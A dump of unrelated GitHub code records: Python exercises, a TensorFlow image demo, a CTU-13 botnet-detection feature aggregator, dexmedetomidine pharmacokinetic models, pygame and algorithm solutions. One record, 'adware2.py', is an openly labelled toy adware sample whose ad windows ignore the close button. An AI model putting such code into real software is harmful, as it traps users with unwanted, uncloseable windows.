x?\n\n\nimport mymodule as mx #If you want to refer to a module by using a different name, you can create an alias.\n\n\ndir() #The dir() function returns all properties and methods of the specified object, without the values. This function will return all the properties and methods, even built-in properties which are default for all object.\n\n\nfrom mymodule import person1 # syntax of importing only the person1 dictionary of the \"mymodule\" module\n\n\nstr=\"there are no traffic JamS Along The extra mile.\"\n\n#Type your answer here.\nstr = str.capitalize()\n\nprint(str)\n\n\nstr=\"There are no traffic jams along the extra mile.\"\n# Type your code here.\n\n# ans_1=str.startswith(\"A\")\nprint(ans_1)\n\n# ans_1= str.endswith(\".\")\n# ans_1=str.find(\"m\")\n\ndef stutter(word):\n\t return word[0:2] + '... ' + word[0:2] + '... ' + word + '?' #1st 2 letters and ..\n\n\ndef distinct(data):\n if len(data) == len(set(data)):\n return True\n else:\n return False\n\nprint(distinct([1, 5, 7, 9]))\nprint(distinct([2, 4, 5, 5, 7, 9]))\n\n\nimport random\nchar_list = [\"a\",\"e\",\"i\",\"o\",\"u\"]\nrandom.shuffle(char_list)\nprint(\"\".join(char_list))\n\n\ndef remove_nums(int_list):\n position = 3 - 1\n idx = 0\n len_list = len(int_list)\n while len_list > 0:\n idx = (position + idx) % len_list\n print(int_list.pop(idx))\n len_list -= 1\n\n\nnums = [10, 20, 30, 40, 50, 60, 70, 80, 90]\nremove_nums(nums)","repo_name":"GringoOG/Python_Lessons","sub_path":"PyPro/pythonProject_lesson01/Necessary.py","file_name":"Necessary.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"25711009417","text":"import matplotlib.pyplot as plt\nimport tensorflow as tf\nimport numpy as np\n\n# 读取图片\n# 读取原始图像数据\nimage_raw_data = tf.gfile.FastGFile('../datasets/cat.jpg', 'rb').read()\n\nwith tf.Session() as sess:\n image_data = tf.image.decode_jpeg(image_raw_data)\n # 输出解码后的三维矩阵\n print(image_data.eval())\n image_data.set_shape([1797, 2673, 3])\n print(image_data.get_shape())\n\n# 打印图片\nwith tf.Session() as sess:\n plt.imshow(image_data.eval())\n plt.show()\n\n\n# 重新调整图片大小\n# tf.image.resize_images函数封装了四种方法\n# method = 0, 双线性插值 =1 最近邻插值法\n# = 2, 双三次插值法 =3 面积插值法\n\nwith tf.Session() as sess:\n # 推荐在调整图片大小前,先将图片转为0-1范围的实数\n # 如果是整数类型,API也是先转换成实数在调整,这样多次处理,会导致精度损失,0-1有利于后续处理\n image_float = tf.image.convert_image_dtype(image_data, tf.float32)\n resized = tf.image.resize_images(image_float, [300, 300], method=0)\n plt.imshow(resized.eval())\n plt.show()\n\n\n# 裁剪和填充图片","repo_name":"yilak1/tensorflow-learn","sub_path":"basis/data_processing/image_processing.py","file_name":"image_processing.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"31632958337","text":"import logging\nimport sys\nimport random\nimport time\n\nfrom PyQt5.QtWidgets import QApplication, QDialog, QLabel, QVBoxLayout\n\n\nclass AdWindow(QDialog):\n \"\"\" This class represents an ad window shown on the screen. \"\"\"\n\n def __init__(self, ad_slogan, parent=None):\n super(AdWindow, self).__init__(parent)\n self.setWindowTitle(\"Advertisement!\")\n\n # Create a layout to display the ad slogan.\n self.label = QLabel(ad_slogan)\n layout = QVBoxLayout()\n layout.addWidget(self.label)\n\n self.setLayout(layout)\n\n def closeEvent(self, event):\n # Ignore the close event so that the ad\n # window cannot be closed by pressing the close button.\n event.ignore()\n\n\nclass Adware(QApplication):\n \"\"\" This class represents the adware implementation. \"\"\"\n\n def __init__(self, args):\n super(Adware, self).__init__(args)\n\n @property\n def advert_slogans(self):\n \"\"\" Slogans of the promoted ads. \"\"\"\n return (\n 'Buy the milk in the milk shops!',\n 'Buy the clothes in the clothing stores!',\n 'Buy the food in the grocery stores!'\n )\n\n def create_ad_window(self, ad_slogan):\n \"\"\" Creates a window showing the advertisement slogan.\n\n :param str ad_slogan: Text of the ad.\n \"\"\"\n window = AdWindow(ad_slogan=ad_slogan)\n window.show()\n return window\n\n def show_ads(self, duration):\n \"\"\" Creates the main GUI application and shows the ads\n based on `:class:~Adware.advert_slogans` for the specified duration.\n\n :param int duration: Duration in seconds to show the ads.\n \"\"\"\n end_time = time.time() + duration\n ad_windows = []\n while time.time() < end_time:\n for advert in self.advert_slogans:\n # Create a new ad window.\n ad_window = self.create_ad_window(advert)\n # Move this window to a random location on the screen.\n x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600)\n ad_window.move(x_coordinate, y_coordinate)\n ad_windows.append(ad_window)\n\n return ad_windows\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n\n # Create our adware and show the ads for 30 seconds.\n adware = Adware(sys.argv)\n windows = adware.show_ads(duration=10)\n\n # Wait for the specified duration.\n time.sleep(2)\n\n # Close all the ad windows.\n for window in windows:\n window.close()\n\n sys.exit(adware.exec_())\n","repo_name":"Bismarck8383/malwares","sub_path":"adware/adware2.py","file_name":"adware2.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"27072918749","text":"import csv\nimport sys\nimport os\nfrom collections import OrderedDict\n\n# config.py\nfrom config import *\n\nINT_MAX = sys.maxsize\nPORTS_NUM = len(KNOWN_PORTS)\nSTAT_FEATURES_NUM = 18 # features for bytes, packets, duration, protocol\n\ndef new_values(cur_value, min, max, sum):\n if cur_value < min:\n min = cur_value\n if cur_value > max:\n max = cur_value\n return [sum + cur_value, min, max]\n\n\ndef append_port_to_feature_names(names_list, port):\n ret = []\n for name in names_list:\n if port == -1:\n port = 'OTHER'\n ret.append(name + '_' + str(port))\n return ret\n\n\ndef print_dictionary(dict_for_window, writer, aggregate_t, botnet_ips, ddos, info):\n [botnet_num, background_num, rows_num_2] = info\n\n for ip_i in dict_for_window:\n attack = False\n if not ddos:\n attack = True\n if ddos and not fineGrain:\n attack = True\n\n output_line = []\n\n for port_j in dict_for_window[ip_i]:\n features = dict_for_window[ip_i][port_j]\n\n # for internal src_ip\n # output_line.append([port_j]) # debug only\n output_line.extend(features[0]) # aggregates\n output_line.append(len(features[2])) # external ips count\n output_line.append(len(features[4])) # source ports count\n output_line.append(len(features[6])) # destination ports count\n\n # for internal dst_ip\n output_line.extend(features[1]) # aggregates\n output_line.append(len(features[3])) # external ips count\n output_line.append(len(features[5])) # source ports count\n output_line.append(len(features[7])) # destination ports count\n\n # for ddos fine-grain, we need both the internal ip to be a BOTNET\n # and also the victim ip to be one of the dest_ips\n if ddos and fineGrain and victim_external in features[2]:\n attack = True\n\n if ip_i in botnet_ips and attack: # todo: labeling to be replaced, this is just for CTU13\n label = 'BOTNET'\n botnet_num = botnet_num + 1\n else:\n label = 'BACKGROUND'\n background_num = background_num + 1\n\n output_line.extend([label, str(aggregate_t), ip_i])\n # print(output_line)\n writer.writerow(output_line)\n rows_num_2 = rows_num_2 + 1\n\n info = [botnet_num, background_num, rows_num_2]\n return info\n\n\ndef construct_header():\n header_src = [ # for internal src_ip\n 'bytes_in_sum_s', 'bytes_in_min_s', 'bytes_in_max_s',\n 'bytes_out_sum_s', 'bytes_out_min_s', 'bytes_out_max_s',\n 'pkts_in_sum_s', 'pkts_in_min_s', 'pkts_in_max_s',\n 'pkts_out_sum_s', 'pkts_out_min_s', 'pkts_out_max_s',\n 'duration_sum_s', 'duration_min_s', 'duration_max_s',\n 'tcp_sum_s', 'udp_sum_s', 'icmp_sum_s',\n 'distinct_external_ips_s', 'distinct_src_port_s', 'distinct_dst_port_s']\n\n header_dst = [ # for internal dst_ip\n 'bytes_in_sum_d', 'bytes_in_min_d', 'bytes_in_max_d',\n 'bytes_out_sum_d', 'bytes_out_min_d', 'bytes_out_max_d',\n 'pkts_in_sum_d', 'pkts_in_min_d', 'pkts_in_max_d',\n 'pkts_out_sum_d', 'pkts_out_min_d', 'pkts_out_max_d',\n 'duration_sum_d', 'duration_min_d', 'duration_max_d',\n 'tcp_sum_d', 'udp_sum_d', 'icmp_sum_d',\n 'distinct_external_ips_d', 'distinct_src_port_d', 'distinct_dst_port_d']\n header_end = ['label', 'window_timestamp', 'internal_ip']\n\n header = []\n for i in range(PORTS_NUM):\n hs = append_port_to_feature_names(header_src, KNOWN_PORTS[i])\n header.extend(hs)\n\n hd = append_port_to_feature_names(header_dst, KNOWN_PORTS[i])\n header.extend(hd)\n\n header.extend(header_end)\n # print(header)\n return header\n\n\ndef aggregate_bro_logs(out_file_name='conn_log_aggregated.csv', in_file_name='extractedConnLogFeatures.csv',\n botnet_ips=(), window=WINDOW_SEC, ddos=False):\n \"\"\"\n Aggregates the conn.log based on ports for each WINDOW_SEC for each internal ip\n :param in_file_name: name of the bro conn log file in the csv format, where each row is:\n ts, uid, src_ip, src_port, dst_ip, dst_port, protocol, service, duration, bytes_outgoing, bytes_incoming, state, packets_outgoing, packets_incoming\n\n :param out_file_name: Resulting file is a csv where each row represents the traffic features for each of the destination\n 'KNOWN_PORTS'(specified in config.py) for a source node (internal) within the WINDOW_SEC: (a sequence of these 21 features)\n bytes_in_sum, bytes_in_min, bytes_in_max, bytes_out_sum, bytes_out_min, bytes_out_max, pkts_in_sum, pkts_in_min, pkts_in_max,\n pkts_out_sum, pkts_out_min,pkts_out_max, duration_sum, duration_min, duration_max, tcp_sum, udp_sum, icmp_sum, distinct_dst_ips,\n distinct_src_port, distinct_dst_port\n\n :param botnet_ips: used for labeling malicious IPs:\n :param ddos: used for finer grained labeling, in this case the victim IP is also used:\n \"\"\"\n\n rows_num_1 = 0\n rows_num_2 = 0\n int_num = 0\n int_vict_num = 0\n int_novict_num = 0\n ext_num = 0\n botnet_num = 0\n background_num = 0\n\n os.makedirs(os.path.dirname(out_file_name), exist_ok=True)\n\n with open(in_file_name, 'r') as csvIn, open(out_file_name, mode='w+') as csvOut:\n reader = csv.reader(csvIn, delimiter=',')\n next(reader, None) # skip the header\n\n writer = csv.writer(csvOut, delimiter=',')\n header = construct_header()\n writer.writerow(header)\n\n aggregate_t = None\n dict_for_window = {}\n\n for row in reader:\n rows_num_1 = rows_num_1 + 1\n\n # replace missing data with 0\n row = [0 if elem == '-' else elem for elem in row]\n\n ts, uid, src_ip, src_port, dst_ip, dst_port, protocol, service, duration, bytes_outgoing, bytes_incoming, \\\n state, packets_outgoing, packets_incoming = row\n ts, duration = float(ts), float(duration)\n src_port, dst_port, bytes_outgoing, bytes_incoming, packets_outgoing, packets_incoming = \\\n int(src_port), int(dst_port), int(bytes_outgoing), int(bytes_incoming), \\\n int(packets_outgoing), int(packets_incoming)\n\n if aggregate_t is None:\n aggregate_t = int(int(ts) // window * window)\n\n cur_aggregate_t = int(int(ts) // window * window)\n\n if cur_aggregate_t != aggregate_t: # time window changed\n if dict_for_window:\n info = [botnet_num, background_num, rows_num_2]\n [botnet_num, background_num, rows_num_2] = \\\n print_dictionary(dict_for_window, writer, aggregate_t, botnet_ips, ddos, info)\n\n dict_for_window = {}\n aggregate_t = None\n\n # ignore internal to internal traffic, except for ddos attack\n if src_ip.startswith(INTERNAL) and dst_ip.startswith(INTERNAL):\n int_num = int_num + 1\n # if ddos and fineGrain and dst_ip == victim_ip:\n if ddos and dst_ip == victim_ip:\n # print(\"victim ip is internal. Will map it to an external ip.\")\n dst_ip = victim_external\n int_vict_num = int_vict_num + 1\n else: # ignore line\n int_novict_num = int_novict_num + 1 # debugging\n continue\n\n # ignore external to external traffic\n # should never happen, may want to throw an error\n if not src_ip.startswith(INTERNAL) and not dst_ip.startswith(INTERNAL):\n ext_num = ext_num + 1 # debugging\n continue\n\n if src_ip.startswith(INTERNAL):\n internal_ip = src_ip\n external_ip = dst_ip\n features_index = 0\n else:\n internal_ip = dst_ip\n external_ip = src_ip\n features_index = 1\n\n orig_dst_port = dst_port # keep the original value\n\n # replace the port number if it falls in OTHER\n if dst_port not in KNOWN_PORTS:\n dst_port = OTHER_PORT\n\n # compute total bytes per protocol\n tcp_bytes, udp_bytes, icmp_bytes = (0, 0, 0)\n if protocol == 'tcp':\n tcp_bytes = bytes_outgoing + bytes_incoming \n elif protocol == 'udp':\n udp_bytes = bytes_outgoing + bytes_incoming\n else:\n icmp_bytes = bytes_outgoing + bytes_incoming\n\n # initialize the dst_port dict for each src_ip\n # feature vector:\n # tcp_sum, udp_sum, icmp_sum, bytes_in_sum, bytes_in_min,\n # bytes_in_max, bytes_out_sum, bytes_out_min, bytes_out_max,\n # pkts_in_sum, pkts_in_min,pkts_in_max,pkts_out_sum, pkts_out_min,pkts_out_max,\n # duration_sum, duration_min, duration_max\n # same list of features for each link direction\n # sets = ip list, source_port list, dest_port list\n # todo: how to represent connection state or success/fail?\n if internal_ip not in dict_for_window:\n dict_for_window[internal_ip] = OrderedDict()\n for port in KNOWN_PORTS:\n dict_for_window[internal_ip][port] = [[0] * STAT_FEATURES_NUM, [0] * STAT_FEATURES_NUM,\n set(), set(), set(), set(), set(), set()]\n\n # update the corresponding list of features for the internal ip\n # for internal src_ip update features list at index 0\n # for internal dst_ip update features list at index 1\n flist = [bytes_in_sum, bytes_in_min, bytes_in_max, bytes_out_sum, bytes_out_min, bytes_out_max,\n pkts_in_sum, pkts_in_min, pkts_in_max, pkts_out_sum, pkts_out_min, pkts_out_max,\n duration_sum, duration_min, duration_max,\n tcp_sum, udp_sum, icmp_sum] = dict_for_window[internal_ip][dst_port][features_index]\n\n # print(flist)\n\n if all(v == 0 for v in flist):\n # if this is the first time we add features initialize min values\n # to something really big\n bytes_in_min = INT_MAX\n bytes_out_min = INT_MAX\n pkts_in_min = INT_MAX\n pkts_out_min = INT_MAX\n duration_min = INT_MAX\n\n dict_for_window[internal_ip][dst_port][features_index] = \\\n new_values(bytes_incoming, bytes_in_min, bytes_in_max, bytes_in_sum) \\\n + new_values(bytes_outgoing, bytes_out_min, bytes_out_max, bytes_out_sum) \\\n + new_values(packets_incoming, pkts_in_min, pkts_in_max, pkts_in_sum) \\\n + new_values(packets_outgoing, pkts_out_min, pkts_out_max, pkts_out_sum) \\\n + new_values(duration, duration_min, duration_max, duration_sum)\\\n + [tcp_sum + tcp_bytes, udp_sum + udp_bytes, icmp_sum + icmp_bytes]\n\n # update the set of external_ips this internal_ip connects to\n # update the first set for internal src_ip or the second set for internal dst_ip\n if external_ip not in dict_for_window[internal_ip][dst_port][features_index + 2]:\n dict_for_window[internal_ip][dst_port][features_index + 2].add(external_ip)\n\n # update the sets of source ports and destination ports\n # update the corresponding set for either internal src_ip or internal dst_ip\n if src_port not in dict_for_window[internal_ip][dst_port][features_index + 4]:\n dict_for_window[internal_ip][dst_port][features_index + 4].add(src_port)\n if orig_dst_port not in dict_for_window[internal_ip][dst_port][features_index + 6]:\n dict_for_window[internal_ip][dst_port][features_index + 6].add(orig_dst_port)\n\n # print(dict_for_window[internal_ip][dst_port])\n\n if dict_for_window:\n info = [botnet_num, background_num, rows_num_2]\n [botnet_num, background_num, rows_num_2] = \\\n print_dictionary(dict_for_window, writer, aggregate_t, botnet_ips, ddos, info)\n\n csvIn.close()\n csvOut.close()\n\n print(\"window, ddos: \", window, ddos)\n print(\"rows_num_1, rows_num_2: \", rows_num_1, rows_num_2)\n print(\"int_num, int_vict_num, int_novict_num, ext_num: \", int_num, int_vict_num, int_novict_num, ext_num)\n print(\"botnets, background: \", botnet_num, background_num)\n sys.stdout.flush()\n\n\nif __name__ == '__main__':\n\n CONN_BRO_CSV_FILENAME = 'extractedConnLogFeatures.csv'\n for dir, botnet_ips in BOTNET_IPS.items():\n print('Scenario:', dir)\n sys.stdout.flush()\n out_file_name = os.path.join(PATH_FEATURES, dir, FILENAME_STAT)\n in_file_name = os.path.join(PATH_CONN_LOG, dir, CONN_BRO_CSV_FILENAME)\n print('Reading file:', in_file_name)\n print('Stat output file:', out_file_name)\n sys.stdout.flush()\n aggregate_bro_logs(out_file_name, in_file_name, botnet_ips, window=WINDOW_SEC, ddos=isDdos)\n\n","repo_name":"tongun/ctu13-botnet-detection","sub_path":"src/aggregated_features_bro_logs.py","file_name":"aggregated_features_bro_logs.py","file_ext":"py","file_size_in_byte":13447,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"25364529347","text":"from .model import Model\n\n\"\"\"\nopentiva.dexmedetomidine\n========================\nThis module contains the classes for dexmedetomidine models.\nAll Classes have the same parameters and attributes.\n\nParameters\n----------\nsex\n 0 for male or 1 for female\nage\n in years\nweight\n in kg\nheight\n in cm\n\nAttributes\n----------\ncompartments : int\n number of compartments to model; 1, 2 or 3\nconcentration_unit : str\n drug concentration unit\ntarget_unit : str\n target concentration unit\nage_lower : float\n lower age limit of model; -1 if no limit\nage_upper : float\n upper age limit of model; -1 if no limit\nweight_lower : float\n lower weight limit of model; -1 if no limit\nweight_upper : float\n upper weight limit of model; -1 if no limit\npmid : str\n Pubmed ID of model's reference\ndoi : str\n Digital Object Identifier (DOI) of model's reference\nwarning : str\n Warnings relating to non-validated anthropometric values\nv1 : float\n volume of central compartment\nk10 : float\n equilibrium rate constant from compartment 1 to 0\nk12 : float\n equilibrium rate constant from compartment 1 to 2\nk13 : float\n equilibrium rate constant from compartment 1 to 3\nk21 : float\n equilibrium rate constant from compartment 2 to 1\nk31 : float\n equilibrium rate constant from compartment 3 to 1\nke0 : float\n effect compartment equilibrium rate constant\n\"\"\"\n\n\nclass Hannivoort(Model):\n \"\"\"Hannivoort class holds pharmacokinetic parameters for the Hannivoort\n dexmedetomidine model.\n\n Reference: PMID: 26068206 DOI: 10.1097/ALN.0000000000000740\n\n Keo for sedation: PMID: 28854538 DOI: 10.1093/bja/aex085\n \"\"\"\n\n def __init__(self, sex: int, age: float, weight: float, height: float):\n super().__init__(sex, age, weight, height)\n\n self.compartments = 3\n self.concentration_unit = \"mcg/ml\"\n self.target_unit = \"ng/ml\"\n self.age_lower = 20\n self.age_upper = 70\n self.weight_lower = 51\n self.weight_upper = 110\n self.pmid = \"26068206\"\n self.doi = \"10.1097/ALN.0000000000000740\"\n self.validate_anthropometric_values()\n\n self.v1 = 1.78 * (weight / 70)\n self.v2 = 30.3 * (weight / 70)\n self.v3 = 52.0 * (weight / 70)\n\n self.cl1 = 0.686 * (weight / 70) ** 0.75\n self.cl2 = 2.98 * (self.v2 / 30.3) ** 0.75\n self.cl3 = 0.602 * (self.v3 / 52.0) ** 0.75\n\n self.k10 = self.cl1 / self.v1\n self.k12 = self.cl2 / self.v1\n self.k13 = self.cl3 / self.v1\n self.k21 = self.cl2 / self.v2\n self.k31 = self.cl3 / self.v3\n\n self.ke0 = 0.0428\n\n\nclass PerezGuille(Model):\n \"\"\"PerezGuille class holds pharmacokinetic parameters for the Pérez-Guillé\n dexmedetomidine model.\n\n PMID: 29782406 DOI: 10.1213/ANE.0000000000003413\n\n Keo for sedation: PMID: 28854538 DOI: 10.1093/bja/aex085\n \"\"\"\n\n def __init__(self, sex: int, age: float, weight: float, height: float):\n super().__init__(sex, age, weight, height)\n\n self.compartments = 2\n self.concentration_unit = \"mcg/ml\"\n self.target_unit = \"ng/ml\"\n self.age_lower = 2\n self.age_upper = 18\n self.weight_lower = -1\n self.weight_upper = -1\n self.pmid = \"29782406\"\n self.doi = \"10.1213/ANE.0000000000003413\"\n self.validate_anthropometric_values()\n\n theta_cl1 = 20.8\n theta_cl2 = 75.8\n theta_v1 = 21.9\n theta_v2 = 81.2\n\n self.v1 = theta_v1 * (weight / 70) ** 0.75\n self.v2 = theta_v2 * (weight / 70) ** 0.75\n\n self.cl1 = theta_cl1 * (weight / 70) ** 0.75\n self.cl1 /= 60 # convert to L/min\n self.cl2 = theta_cl2 * (weight / 70) ** 0.75\n self.cl2 /= 60 # convert to L/min\n\n self.k10 = self.cl1 / self.v1\n self.k12 = self.cl2 / self.v1\n self.k21 = self.cl2 / self.v2\n\n self.ke0 = 0.0428\n\n\nclass Rolle(Model):\n \"\"\"Rolle class holds pharmacokinetic parameters for the Rolle\n dexmedetomidine model.\n\n Reference: PMID: 29661414 DOI: 10.1016/j.bja.2018.01.040\n\n Keo for sedation: PMID: 28854538 DOI: 10.1093/bja/aex085\n \"\"\"\n\n def __init__(self, sex: int, age: float, weight: float, height: float):\n super().__init__(sex, age, weight, height)\n\n self.compartments = 2\n self.concentration_unit = \"mcg/ml\"\n self.target_unit = \"ng/ml\"\n self.age_lower = 23\n self.age_upper = 59\n self.weight_lower = 47\n self.weight_upper = 126\n self.pmid = \"29661414\"\n self.doi = \"10.1016/j.bja.2018.01.040\"\n self.validate_anthropometric_values()\n\n if sex == 0:\n whs_max = 42.92\n whs_50 = 30.93\n else:\n whs_max = 37.99\n whs_50 = 35.98\n\n ffm = whs_max * (height / 100) ** 2 * \\\n (weight / (whs_50 * (height / 100) ** 2 + weight))\n\n theta_1 = 30.3\n theta_2 = 71.3\n theta_4 = 0.585\n theta_5 = 1.96\n\n self.v1 = theta_1 * ffm / 45\n self.v2 = theta_2 * ffm / 45\n\n self.cl1 = theta_4 * ffm / 45\n self.cl2 = theta_5 * ffm / 45\n\n self.k10 = self.cl1 / self.v1\n self.k12 = self.cl2 / self.v1\n self.k21 = self.cl2 / self.v2\n\n self.ke0 = 0.0428\n\n\nclass Dyck(Model):\n \"\"\"Dyck class holds pharmacokinetic parameters for the Dyck\n dexmedetomidine model.\n\n Reference: PMID: 8098191 DOI: 10.1097/00000542-199305000-00003\n\n Keo for sedation: PMID: 28854538 DOI: 10.1093/bja/aex085\n \"\"\"\n\n def __init__(self, sex: int, age: float, weight: float, height: float):\n super().__init__(sex, age, weight, height)\n\n self.compartments = 3\n self.concentration_unit = \"mcg/ml\"\n self.target_unit = \"ng/ml\"\n self.age_lower = -1\n self.age_upper = -1\n self.weight_lower = 60\n self.weight_upper = 98\n self.pmid = \"8098191\"\n self.doi = \"10.1093/bja/aex085\"\n self.validate_anthropometric_values()\n\n self.v1 = 7.99\n self.v2 = 13.8\n self.v3 = 187\n\n self.cl1 = 0.00791 * height - 0.927\n self.cl2 = 2.26\n self.cl3 = 1.99\n\n self.k10 = self.cl1 / self.v1\n self.k12 = self.cl2 / self.v1\n self.k13 = self.cl3 / self.v1\n self.k21 = self.cl2 / self.v2\n self.k31 = self.cl3 / self.v3\n\n self.ke0 = 0.0428\n","repo_name":"opentiva/opentiva","sub_path":"opentiva/dexmedetomidine.py","file_name":"dexmedetomidine.py","file_ext":"py","file_size_in_byte":6376,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"74115142113","text":"__all__ = ['SECRET']\n\"\"\"Converts `secrets.json` to python's dict.\nto import:\n from __jcr__.secret import SECRET\nexample uses:\n SECRET_KEY = SECRET['DJANGO']['SECRET_KEY']\nSEE `secrets.json`\n\"\"\"\n\nimport json\nfrom collections import namedtuple\nimport os\n\nbase_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nPATH = os.path.join(base_dir, 'secrets.json')\n\n\ndef json2obj(data):\n def _json_object_hook(d): return namedtuple('X', d.keys())(*d.values())\n\n return json.loads(data, object_hook=_json_object_hook)\n\n\nwith open(PATH, 'r') as file:\n SECRET = json.loads(file.read())\n","repo_name":"alhacen/jcr-django-server","sub_path":"__jcr__/secret.py","file_name":"secret.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"38898438594","text":"import pygame\nfrom SETTINGS import *\nfrom LoadImage import load_image\n\n\npygame.init()\nscreen = pygame.display.set_mode(size)\nend_sprites = pygame.sprite.Group()\n\n\nclass Button(pygame.sprite.DirtySprite):\n def __init__(self):\n super(Button, self).__init__(end_sprites)\n self.pos_x = 200 * width // 800\n self.pos_y = 500 * height // 600\n self.image = pygame.Surface((button_width, button_height), pygame.SRCALPHA, 32)\n pygame.draw.rect(self.image, dark_grey, (0, 0, button_width, button_height))\n pygame.draw.rect(self.image, light_grey, (0, 0, button_width, button_height), 3)\n self.font = pygame.font.Font(None, font_size)\n self.space_y = int(8 * height / 600)\n\n def is_clicked(self, pos):\n if pos[0] in range(self.rect.x, self.rect.x + self.rect.w + 1):\n if pos[1] in range(self.rect.y, self.rect.y + self.rect.h + 1):\n return True\n return False\n\n\nclass StartMenuButton(Button):\n def __init__(self):\n super(StartMenuButton, self).__init__()\n self.rect = pygame.Rect(self.pos_x, self.pos_y, button_width, button_height)\n self.text = self.font.render('Start Menu', True, white)\n self.image.blit(self.text, (8 * width // 800, self.space_y))\n\n\nclass RestartLevelButton(Button):\n def __init__(self):\n super(RestartLevelButton, self).__init__()\n pos_x = self.pos_x + button_width\n self.rect = pygame.Rect(pos_x, self.pos_y, button_width, button_height)\n self.text = self.font.render(' Restart', True, white)\n self.image.blit(self.text, (0, self.space_y))\n\n\nclass InterfaceEndScreen(pygame.sprite.Sprite):\n def __init__(self):\n super(InterfaceEndScreen, self).__init__(end_sprites)\n settings_width = 400 * width // 800\n settings_height = 400 * height // 600\n space_x = 200 * width // 800\n space_y = 100 * height // 600\n self.exit_width = 20 * width // 800\n self.exit_height = 20 * height // 600\n self.image = pygame.Surface((settings_width, settings_height), pygame.SRCALPHA)\n pygame.draw.rect(self.image, purple, (0, 0, settings_width, settings_height))\n pygame.draw.rect(self.image, dark_grey, (0, 0, settings_width, self.exit_height))\n self.image = pygame.transform.scale(load_image('EndScreen.jpg'), (settings_width, settings_height))\n pygame.draw.rect(self.image, dark_grey, (0, 0, settings_width, settings_height), 1)\n self.rect = pygame.Rect((space_x, space_y, settings_width, settings_height))\n\n\ndef end_screen(more_sprites=None):\n running = True\n InterfaceEndScreen()\n start_menu = StartMenuButton()\n restart_level = RestartLevelButton()\n if more_sprites:\n more_sprites.add(end_sprites)\n to_draw = more_sprites\n else:\n to_draw = end_sprites\n pygame.mouse.set_visible(True)\n while running:\n to_draw.draw(screen)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit()\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n if not (start_menu.is_clicked(event.pos) and restart_level.is_clicked(event.pos)):\n if start_menu.is_clicked(event.pos):\n more_sprites.remove(end_sprites)\n return 11\n if restart_level.is_clicked(event.pos):\n more_sprites.remove(end_sprites)\n return 22\n pygame.display.flip()\n","repo_name":"Ritips/PygameProject","sub_path":"DeathHero.py","file_name":"DeathHero.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"32874293882","text":"\"\"\"\nLink: https://onlinejudge.org/index.php?option=onlinejudge&Itemid=8&page=show_problem&problem=1187\nTime complexity: O(T * C^3)\nSpace complexity: O(T * C^2)\nAuthor: Nguyen Duc Hieu\n\"\"\"\n\nINF = int(1e10)\n\n\ndef floyd_warshall(graph, num_vertex, cost_party):\n dist = [[(INF, 0) for i in range(num_vertex)] for j in range(num_vertex)]\n for i in range(num_vertex):\n for j in range(num_vertex):\n if graph[i][j] != INF:\n dist[i][j] = (graph[i][j], max(cost_party[i], cost_party[j]))\n for e in range(2):\n for k in range(num_vertex):\n for i in range(num_vertex):\n if dist[i][k][0] == INF:\n continue\n for j in range(num_vertex):\n cost_party_in_place = max(dist[i][k][1], dist[k][j][1])\n if dist[k][j][0] != INF and dist[i][j][0] + dist[i][j][1] > dist[i][k][0] + dist[k][j][\n 0] + cost_party_in_place:\n dist[i][j] = (dist[i][k][0] + dist[k][j][0], cost_party_in_place)\n return dist\n\n\nif __name__ == '__main__':\n num_testcase = 0\n first = True\n while True:\n C, R, Q = map(int, input().split())\n if C == 0 and R == 0 and Q == 0:\n break\n if not first:\n print()\n first = False\n num_testcase += 1\n print(\"Case #%s\" % num_testcase)\n graph = [[INF for i in range(C)] for j in range(C)]\n cost_party = list(map(int, input().split()))\n for i in range(C):\n graph[i][i] = 0\n for i in range(R):\n u, v, w = map(int, input().split())\n if graph[u - 1][v - 1] < w:\n continue\n graph[u - 1][v - 1] = w\n graph[v - 1][u - 1] = w\n dist = floyd_warshall(graph, C, cost_party)\n for i in range(Q):\n u, v = map(int, input().split())\n print(dist[u - 1][v - 1][0] + dist[u - 1][v - 1][1] if dist[u - 1][v - 1][0] != INF else -1)\n","repo_name":"hieuducnguyen/BigOCourse","sub_path":"11_floyd_warshall/5_asterix_and_obelix.py","file_name":"5_asterix_and_obelix.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"31972737610","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param {ListNode} head\n # @return {TreeNode}\n def sortedArrayToBST(self, nums):\n def BST(b, e):\n node = None\n if b /tmp/appendix']\n # If there's an extra-args.yaml file in a test dir, assume it contains\n # a yaml list with extra arguments to be passed to repo2docker\n extra_args_path = os.path.join(self.fspath.dirname, \"test-extra-args.yaml\")\n if os.path.exists(extra_args_path):\n with open(extra_args_path) as f:\n extra_args = yaml.safe_load(f)\n args += extra_args\n\n print(self.fspath.basename, self.fspath.dirname, str(self.fspath))\n # re-use image name for multiple tests of the same image\n # so we don't run through the build twice\n rel_repo_dir = os.path.relpath(self.fspath.dirname, TESTS_DIR)\n image_name = f\"r2d-tests-{escapism.escape(rel_repo_dir, escape_char='-').lower()}-{int(time.time())}\"\n args.append(f\"--image-name={image_name}\")\n args.append(self.fspath.dirname)\n yield Repo2DockerTest.from_parent(self, name=\"build\", 